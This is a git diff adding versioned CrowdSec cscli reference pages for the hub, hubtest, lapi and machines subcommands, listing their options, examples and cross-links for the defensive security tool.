+``` + +### Options + +``` + --crowdsec string Path to crowdsec (default "crowdsec") + -d, --dsn string DSN to test + --failures Only show failed lines + -f, --file string Log file to test + -h, --help help for explain + --labels string Additional labels to add to the acquisition format (key:value,key2:value2) + -l, --log string Log line to test + --no-clean Don't clean runtime environment after tests + --only-successful-parsers Only show successful parsers + -t, --type string Type of the acquisition to test + -v, --verbose Display individual changes +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md new file mode 100644 index 000000000..b16d621dc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub.md @@ -0,0 +1,53 @@ +--- +id: cscli_hub +title: cscli hub +--- +Manage hub index + +### Synopsis + +Hub management + +List/update parsers/scenarios/postoverflows/collections from [Crowdsec Hub](https://hub.crowdsec.net). +The Hub is managed by cscli, to get the latest hub files from [Crowdsec Hub](https://hub.crowdsec.net), you need to update. + +``` +cscli hub [action] [flags] +``` + +### Examples + +``` +cscli hub list +cscli hub update +cscli hub upgrade +``` + +### Options + +``` + -h, --help help for hub +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli hub branch](/cscli/cscli_hub_branch.md) - Show selected hub branch +* [cscli hub list](/cscli/cscli_hub_list.md) - List all installed configurations +* [cscli hub types](/cscli/cscli_hub_types.md) - List supported item types +* [cscli hub update](/cscli/cscli_hub_update.md) - Download the latest index (catalog of available configurations) +* [cscli hub upgrade](/cscli/cscli_hub_upgrade.md) - Upgrade all configurations to their latest version + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md new file mode 100644 index 000000000..dec6633f5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_branch.md @@ -0,0 +1,38 @@ +--- +id: cscli_hub_branch +title: cscli hub branch +--- +Show selected hub branch + +### Synopsis + +Display the hub branch to be used, depending on configuration and crowdsec version + +``` +cscli hub branch [flags] +``` + +### Options + +``` + -a, --all List all available items, including those not installed + -h, --help help for branch +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md new file mode 100644 index 000000000..ae5ae0627 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_list.md @@ -0,0 +1,34 @@ +--- +id: cscli_hub_list +title: cscli hub list +--- +List all installed configurations + +``` +cscli hub list [-a] [flags] +``` + +### Options + +``` + -a, --all List all available items, including those not installed + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md new file mode 100644 index 000000000..0da050296 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_types.md @@ -0,0 +1,39 @@ +--- +id: cscli_hub_types +title: cscli hub types +--- +List supported item types + +### Synopsis + + +List the types of supported hub items. + + +``` +cscli hub types [flags] +``` + +### Options + +``` + -h, --help help for types +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md new file mode 100644 index 000000000..a629a197d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_update.md @@ -0,0 +1,50 @@ +--- +id: cscli_hub_update +title: cscli hub update +--- +Download the latest index (catalog of available configurations) + +### Synopsis + + +Fetches the .index.json file from the hub, containing the list of available configs. + + +``` +cscli hub update [flags] +``` + +### Examples + +``` +# Download the last version of the index file. +cscli hub update + +# Download a 4x bigger version with all item contents (effectively pre-caching item downloads, but not data files). +cscli hub update --with-content +``` + +### Options + +``` + -h, --help help for update + --with-content Download index with embedded item content +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md new file mode 100644 index 000000000..17d61bcba --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hub_upgrade.md @@ -0,0 +1,56 @@ +--- +id: cscli_hub_upgrade +title: cscli hub upgrade +--- +Upgrade all configurations to their latest version + +### Synopsis + + +Upgrade all configs installed from Crowdsec Hub. Run 'sudo cscli hub update' if you want the latest versions available. + + +``` +cscli hub upgrade [flags] +``` + +### Examples + +``` +# Upgrade all the collections, scenarios etc. to the latest version in the downloaded index. Update data files too. +cscli hub upgrade + +# Upgrade tainted items as well; force re-download of data files. +cscli hub upgrade --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli hub upgrade --interactive +cscli hub upgrade -i +``` + +### Options + +``` + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated items; always update data files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md new file mode 100644 index 000000000..52659f87a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest.md @@ -0,0 +1,45 @@ +--- +id: cscli_hubtest +title: cscli hubtest +--- +Run functional tests on hub configurations + +### Synopsis + +Run functional tests on hub configurations (parsers, scenarios, collections...) + +### Options + +``` + --appsec Command relates to appsec tests + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + -h, --help help for hubtest + --hub string Path to hub folder (default ".") +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli hubtest clean](/cscli/cscli_hubtest_clean.md) - clean [test_name] +* [cscli hubtest coverage](/cscli/cscli_hubtest_coverage.md) - coverage +* [cscli hubtest create](/cscli/cscli_hubtest_create.md) - create [test_name] +* [cscli hubtest eval](/cscli/cscli_hubtest_eval.md) - eval [test_name]... +* [cscli hubtest explain](/cscli/cscli_hubtest_explain.md) - explain [test_name] +* [cscli hubtest info](/cscli/cscli_hubtest_info.md) - info [test_name] +* [cscli hubtest list](/cscli/cscli_hubtest_list.md) - list +* [cscli hubtest run](/cscli/cscli_hubtest_run.md) - run [test_name] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md new file mode 100644 index 000000000..e06dcbdcc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_clean.md @@ -0,0 +1,38 @@ +--- +id: cscli_hubtest_clean +title: cscli hubtest clean +--- +clean [test_name] + +``` +cscli hubtest clean [flags] +``` + +### Options + +``` + --all Run all tests + -h, --help help for clean +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md new file mode 100644 index 000000000..87bdf811d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_coverage.md @@ -0,0 +1,40 @@ +--- +id: cscli_hubtest_coverage +title: cscli hubtest coverage +--- +coverage + +``` +cscli hubtest coverage [flags] +``` + +### Options + +``` + --appsec Show only appsec coverage + -h, --help help for coverage + --parsers Show only parsers coverage + --percent Show only percentages of coverage + --scenarios Show only scenarios coverage +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md new file mode 100644 index 000000000..b45d5610c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_create.md @@ -0,0 +1,50 @@ +--- +id: cscli_hubtest_create +title: cscli hubtest create +--- +create [test_name] + +``` +cscli hubtest create [flags] +``` + +### Examples + +``` +cscli hubtest create my-awesome-test --type syslog +cscli hubtest create my-nginx-custom-test --type nginx +cscli hubtest create my-scenario-test --parsers crowdsecurity/nginx --scenarios crowdsecurity/http-probing +``` + +### Options + +``` + -h, --help help for create + --ignore-parsers Don't run test on parsers + -p, --parsers strings Parsers to add to test + --postoverflows strings Postoverflows to add to test + -s, --scenarios strings Scenarios to add to test + -t, --type string Log type of the test +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md new file mode 100644 index 000000000..209653fdc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_eval.md @@ -0,0 +1,38 @@ +--- +id: cscli_hubtest_eval +title: cscli hubtest eval +--- +eval [test_name]... + +``` +cscli hubtest eval [flags] +``` + +### Options + +``` + -e, --expr string Expression to eval + -h, --help help for eval +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md new file mode 100644 index 000000000..28a743368 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_explain.md @@ -0,0 +1,39 @@ +--- +id: cscli_hubtest_explain +title: cscli hubtest explain +--- +explain [test_name] + +``` +cscli hubtest explain [flags] +``` + +### Options + +``` + --failures Only show failed lines + -h, --help help for explain + -v, --verbose Display individual changes +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md new file mode 100644 index 000000000..cfbacca01 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_info.md @@ -0,0 +1,37 @@ +--- +id: cscli_hubtest_info +title: cscli hubtest info +--- +info [test_name] + +``` +cscli hubtest info [flags] +``` + +### Options + +``` + -h, --help help for info +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md new file mode 100644 index 000000000..2040483ba --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_list.md @@ -0,0 +1,37 @@ +--- +id: cscli_hubtest_list +title: cscli hubtest list +--- +list + +``` +cscli hubtest list [flags] +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md new file mode 100644 index 000000000..26e3370af --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_hubtest_run.md @@ -0,0 +1,44 @@ +--- +id: cscli_hubtest_run +title: cscli hubtest run +--- +run [test_name] + +``` +cscli hubtest run [flags] +``` + +### Options + +``` + --all Run all tests + --clean Clean runtime environment if test fail + -h, --help help for run + --host string Address to expose AppSec for hubtest (default "127.0.0.1:4241") + --max-jobs uint Max number of concurrent tests (does not apply to appsec) (default 16) + --no-clean Don't clean runtime environment if test succeed + --report-success Report successful tests too (implied with json output) + --target string Target for AppSec Test (default "http://127.0.0.1:7822/") +``` + +### Options inherited from parent commands + +``` + --appsec Command relates to appsec tests + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --crowdsec string Path to crowdsec (default "crowdsec") + --cscli string Path to cscli (default "cscli") + --debug Set logging to debug + --error Set logging to error + --hub string Path to hub folder (default ".") + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md new file mode 100644 index 000000000..2f1148221 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi.md @@ -0,0 +1,32 @@ +--- +id: cscli_lapi +title: cscli lapi +--- +Manage interaction with Local API (LAPI) + +### Options + +``` + -h, --help help for lapi +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli lapi context](/cscli/cscli_lapi_context.md) - Manage context to send with alerts +* [cscli lapi register](/cscli/cscli_lapi_register.md) - Register a machine to Local API (LAPI) +* [cscli lapi status](/cscli/cscli_lapi_status.md) - Check authentication to Local API (LAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md new file mode 100644 index 000000000..a32e1eda2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context.md @@ -0,0 +1,33 @@ +--- +id: cscli_lapi_context +title: cscli lapi context +--- +Manage context to send with alerts + +### Options + +``` + -h, --help help for context +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi](/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) +* [cscli lapi context add](/cscli/cscli_lapi_context_add.md) - Add context to send with alerts. You must specify the output key with the expr value you want +* [cscli lapi context delete](/cscli/cscli_lapi_context_delete.md) - +* [cscli lapi context detect](/cscli/cscli_lapi_context_detect.md) - Detect available fields from the installed parsers +* [cscli lapi context status](/cscli/cscli_lapi_context_status.md) - List context to send with alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md new file mode 100644 index 000000000..a511e1492 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_add.md @@ -0,0 +1,44 @@ +--- +id: cscli_lapi_context_add +title: cscli lapi context add +--- +Add context to send with alerts. You must specify the output key with the expr value you want + +``` +cscli lapi context add [flags] +``` + +### Examples + +``` +cscli lapi context add --key source_ip --value evt.Meta.source_ip +cscli lapi context add --key file_source --value evt.Line.Src +cscli lapi context add --value evt.Meta.source_ip --value evt.Meta.target_user + +``` + +### Options + +``` + -h, --help help for add + -k, --key string The key of the different values to send + --value strings The expr fields to associate with the key +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi context](/cscli/cscli_lapi_context.md) - Manage context to send with alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md new file mode 100644 index 000000000..994645f77 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_delete.md @@ -0,0 +1,32 @@ +--- +id: cscli_lapi_context_delete +title: cscli lapi context delete +--- + +``` +cscli lapi context delete [flags] +``` + +### Options + +``` + -h, --help help for delete +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi context](/cscli/cscli_lapi_context.md) - Manage context to send with alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md new file mode 100644 index 000000000..08d84f3be --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_detect.md @@ -0,0 +1,42 @@ +--- +id: cscli_lapi_context_detect +title: cscli lapi context detect +--- +Detect available fields from the installed parsers + +``` +cscli lapi context detect [flags] +``` + +### Examples + +``` +cscli lapi context detect --all +cscli lapi context detect crowdsecurity/sshd-logs + +``` + +### Options + +``` + -a, --all Detect evt field for all installed parser + -h, --help help for detect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi context](/cscli/cscli_lapi_context.md) - Manage context to send with alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md new file mode 100644 index 000000000..67e6394b0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_context_status.md @@ -0,0 +1,33 @@ +--- +id: cscli_lapi_context_status +title: cscli lapi context status +--- +List context to send with alerts + +``` +cscli lapi context status [flags] +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi context](/cscli/cscli_lapi_context.md) - Manage context to send with alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md new file mode 100644 index 000000000..57c2577a6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_register.md @@ -0,0 +1,42 @@ +--- +id: cscli_lapi_register +title: cscli lapi register +--- +Register a machine to Local API (LAPI) + +### Synopsis + +Register your machine to the Local API (LAPI). +Keep in mind the machine needs to be validated by an administrator on LAPI side to be effective. + +``` +cscli lapi register [flags] +``` + +### Options + +``` + -f, --file string output file destination + -h, --help help for register + --machine string Name of the machine to register with + --token string Auto registration token to use + -u, --url string URL of the API (ie. http://127.0.0.1) +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi](/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md new file mode 100644 index 000000000..dd2885d0d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_lapi_status.md @@ -0,0 +1,33 @@ +--- +id: cscli_lapi_status +title: cscli lapi status +--- +Check authentication to Local API (LAPI) + +``` +cscli lapi status [flags] +``` + +### Options + +``` + -h, --help help for status +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli lapi](/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md new file mode 100644 index 000000000..8204aafc1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines.md @@ -0,0 +1,47 @@ +--- +id: cscli_machines +title: cscli machines +--- +Manage local API machines [requires local API] + +### Synopsis + +To list/add/delete/validate/prune machines. +Note: This command requires database direct access, so is intended to be run on the local API machine. + + +### Examples + +``` +cscli machines [action] +``` + +### Options + +``` + -h, --help help for machines +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli machines add](/cscli/cscli_machines_add.md) - add a single machine to the database +* [cscli machines delete](/cscli/cscli_machines_delete.md) - delete machine(s) by name +* [cscli machines inspect](/cscli/cscli_machines_inspect.md) - inspect a machine by name +* [cscli machines list](/cscli/cscli_machines_list.md) - list all machines in the database +* [cscli machines prune](/cscli/cscli_machines_prune.md) - prune multiple machines from the database +* [cscli machines validate](/cscli/cscli_machines_validate.md) - validate a machine to access the local API + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md new file mode 100644 index 000000000..bbf97d881 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_add.md @@ -0,0 +1,52 @@ +--- +id: cscli_machines_add +title: cscli machines add +--- +add a single machine to the database + +### Synopsis + +Register a new machine in the database. cscli should be on the same machine as LAPI. + +``` +cscli machines add [flags] +``` + +### Examples + +``` +cscli machines add --auto +cscli machines add MyTestMachine --auto +cscli machines add MyTestMachine --password MyPassword +cscli machines add -f- --auto > /tmp/mycreds.yaml +``` + +### Options + +``` + -a, --auto automatically generate password (and username if not provided) + -f, --file string output file destination (defaults to /etc/crowdsec/local_api_credentials.yaml) + --force will force add the machine if it already exists + -h, --help help for add + -i, --interactive interactive mode to enter the password + -p, --password string machine password to login to the API + -u, --url string URL of the local API +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_machines_delete.md 